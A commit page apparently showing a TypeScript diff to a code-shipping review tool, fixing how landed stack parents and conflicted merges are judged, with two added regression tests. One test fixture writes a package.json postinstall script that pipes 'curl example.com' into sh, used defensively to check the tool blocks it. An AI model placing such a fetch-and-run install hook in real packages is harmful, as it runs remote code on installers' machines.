fix(ship): a loop exception starts at the landed parent; a conflicted base commit never holds a parent (GST-1399)

Review-Finding: p1/red-team#1 reader=red-team
Review-Finding: v1/outside-voice#1 reader=outside-voice
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
garrytanandcapy-ai[bot] committed 2026-11-05 05:07:31 +00:00
1 parent e428843faa
commit a09196fc55
3 files changed
+39 -2

No files matched your search

+1 -1
View File
@@ -340,7 +340,7 @@ export function heldBy(repoRoot: string, commit: string, currentBase: string, pa
const holds = (at: string): 'held' | 'conflict' | 'no' => {
const merged = run(['merge-tree', '--write-tree', '--no-messages', at, commit]);
const tree = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\n')[0]?.trim() : undefined;
if (tree && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held';
if (merged.status === 0 && tree && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held';
return merged.status === 1 ? 'conflict' : 'no';
};
const tip = holds(currentBase);
+1 -1
View File
@@ -306,7 +306,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review
if (loop) {
const head = loop.fix_check.head;
const since = touchedPaths(cwd, head, now);
const fork = git(cwd, ['merge-base', baseRef, head]).stdout.trim();
const fork = parent && ancestor(parent, head) ? parent : git(cwd, ['merge-base', baseRef, head]).stdout.trim();
const atHead = fork ? touchedPaths(cwd, fork, head) : null;
if (!since || !atHead) { r.stop(`git could not list the paths changed since fix-check ${head.slice(0, 12)} or the paths the branch touched at it against ${baseRef}: stage 2 is blocked`); return null; }
const listed = loop.fix_check.files;
+37
View File
@@ -31,6 +31,7 @@ const TEST_V2 = TEST_V1 + "test('lock 502 retries', () => { expect(2).toBe(2); }
const BASE = { 'src/shared.ts': lines(20), 'docs/policy.md': '# Policy\n\nold rule\n', 'test/helpers/data.ts': 'export const rows = [0];\n', 'test/land.test.ts': TEST_V0 };
const PARENT = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'docs/policy.md': '# Policy\n\nparent rule\n', 'test/helpers/data.ts': 'export const rows = [1];\n', 'test/land.test.ts': TEST_V1, 'README.md': '# Fx, from the parent\n' };
const CHILD = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 150;' }), 'src/child.ts': 'export const c = 1;\n' };
const CHILD_ONLY = { 'src/child.ts': 'export const c = 1;\n' };
/** Main after the parent's squash: later edits to the parent's files (a doc, a helper, a test, the audited README) and one far from the child's hunk. */
const MAIN_LATER = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;' }), 'docs/policy.md': '# Policy\n\nparent rule\n\nmain rule\n', 'test/helpers/data.ts': 'export const rows = [1, 2];\n', 'test/land.test.ts': TEST_V2, 'README.md': '# Fx, from the parent\n\nMain moved on.\n' };
@@ -173,6 +174,42 @@ describe('finish after a stacked parent squash-merges (GST-1399)', () => {
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('docs/review-policy.md')]);
});
// Value: protects=a review-loop exception with no files list cannot accept a parent change main never received: its
// "touched at the fix-check head" set starts at the landed parent, not at the pre-parent fork (red-team p1 on #4021);
// fails_when=the loop's atHead runs from merge-base(origin/main, fix_check.head) under a landed stack parent;
// seam=route's review-loop exception
test('a review-loop exception does not accept a parent script main does not hold', () => {
const PKG = '{"name":"fx","version":"1.0.0"}\n';
const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
const { f, parent, passHead, reviewed, post } = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) });
f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); f.commit('bump');
const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: passHead, findings: 0 } });
const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).not.toContain('package.json');
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]);
});
// Value: protects=a base commit whose merge with the parent conflicts never counts as holding it, even when the
// conflicted tree keeps the base's bytes (a modify/delete conflict; outside voice on #4021); fails_when=heldBy reads
// only the merged tree's diff and ignores merge-tree's conflict status; seam=lib/ship-receipt.ts heldBy
test('a parent deletion the base never took is not landed, even when the conflicted tree matches the base', () => {
const base = { ...BASE, 'src/a.ts': lines(10) };
const f = shipFixture(base, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f);
expect(f.git('rm', '-q', 'src/a.ts').status).toBe(0); f.commit('parent: drop a.ts');
const parent = head(f);
expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
f.write(CHILD_ONLY); f.commit('child');
const reviewed = wtree(f);
const post = path.join(f.root, 'post.json');
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'src/a.ts': lines(10, { 2: 'export const l2 = 20;' }) });
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) });
mergeMain(f);
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe('');
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]);
});
// Value: protects=a reviewed executable bit reverted to main's mode after review is not held by main, so it stops
// (outside voice on #4013); fails_when=baseHolds compares blob bytes only; seam=lib/ship-patch.ts baseHolds
test('a reverted mode change stops', () => {